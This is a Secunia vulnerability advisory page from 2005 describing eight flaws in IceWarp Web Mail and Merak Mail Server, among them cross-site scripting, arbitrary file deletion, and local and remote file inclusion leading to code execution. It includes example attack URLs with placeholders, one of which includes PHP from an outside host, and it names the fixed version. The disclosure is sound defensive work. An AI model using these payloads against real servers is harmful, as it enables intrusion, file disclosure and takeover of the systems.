Secunia CSI7
Advisories
Research
Forums
Create Profile
Our Commitment
Database
Search
Advisories by Product
Advisories by Vendor
Terminology
Report Vulnerability
Insecure Library Loading
Highly critical

IceWarp Web Mail Multiple Vulnerabilities

-

Release Date:  2005-10-03    Last Update:  2006-01-20    Views:  17,281

Secunia Advisory SA17046

Where:

From remote

Impact:

Cross Site Scripting, Manipulation of data, Exposure of system information, Exposure of sensitive information, System access

Solution Status:

Partial Fix

CVE Reference(s):

Description


Some vulnerabilities have been discovered in IceWarp Web Mail, which can be exploited by malicious people to conduct cross-site scripting attacks, delete arbitrary files, disclose system and sensitive information, and to compromise a vulnerable system.

1) Some input isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Examples:
http://[host]:32000/mail/blank.html?id=[code]
http://[host]:32000/mail/calendar_d.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_m.html?schedule=1&print=1&createdataCX=[code]
http://[host]:32000/mail/calendar_w.html?schedule=1&print=1&createdataCX=[code]

2) The problem is that it is possible to disclose the full path to the installation directory by accessing the "mail/bwlist_inc.html" and "accounts/bwlist_inc.html" scripts directly.

3) Input passed to the "id" parameter in "mail/logout.html" isn't properly verified, before it is used to delete files. This can be exploited to remove arbitrary files and empty directories.

4) Input passed to the "helpid" parameter in "accounts/help.html" isn't properly verified, before it is used to include files. This can be exploited to include arbitrary files from local resources.

Vulnerabilities #1 through #4 have been confirmed in Merak Mail Server 8.2.4r with IceWarp Web Mail 5.5.1. Other versions may also be affected.

5) The webmail and webadmin services run with PHP configured with "register_global" enabled. The "language" and "lang_settings" variables in "/accounts/inc/include.php" and "/admin/inc/include.php" are not properly initialised when the scripts are accessed directly. This makes it possible to overwrite the variables to cause the scripts to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a vulnerable server with SYSTEM privileges without requiring authentication.

6) Input passed to the "lang" parameter in "/dir/include.html" isn't properly validated before being used to include files. This can be exploited to include arbirary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

7) Input passed to the "language" parameter in "/mail/settings.html" isn't properly validated before being saved to the database. This can be exploited in conjunction with overwrite of the "lang_settings" variable, to include arbitrary PHP scripts from local and remote sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on a vulnerable server with SYSTEM privileges but requires a valid logon.

8) The "default_layout" and "layout_settings" variables are not properly initialised when "/mail/include.html" encounters a HTTP_USER_AGENT string that it does not recognise. This can be exploited in conjunction with overwrite of the "default_layout" and "layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a vulnerable server without requiring authentication.

Vulnerabilities #5 through #8 have been confirmed in Merak Mail Server 8.3.0r with IceWarp Web Mail 5.5.1. Other versions may also be affected.


Solution:
Update to Merak Mail Server version 8.3.5r.

Further details available to Secunia VIM customers

Provided and/or discovered by:
1-4) ShineShadow
5-8) Tan Chew Keong, Secunia Research.

Original Advisory:
Secunia Research:
http://secunia.com/secunia_research/2005-62/advisory/

Deep Links:
Links available to Secunia VIM customers

Do you have additional information related to this advisory?

Please provide information about patches, mitigating factors, new versions, exploits, faulty patches, links, and other relevant data by posting comments to this Advisory. You can also send this information to vuln@secunia.com

Subject: IceWarp Web Mail Multiple Vulnerabilities

No posts yet

-

You must be logged in to post a comment.



 Products Solutions Customers Partner Resources Company
 
 Corporate
Vulnerability Intelligence Manager (VIM)
Corporate Software Inspector (CSI)
Consumer
Personal Software Inspector (PSI)
Online Software Inspector (OSI)
 Industry
Compliance
Technology
Integration
 Customers
Testimonials
 VARS
MSSP
Technology Partners
References
 Factsheets
Reports
Webinars
Events
 About us
Careers
Memberships
Newsroom


 
© 2002-2014 Secunia ApS - Rued Langgaards Vej 8, 4th floor, DK-2300 Copenhagen, Denmark - +45 7020 5144
Terms & Conditions and Copyright - Privacy - Report Vulnerability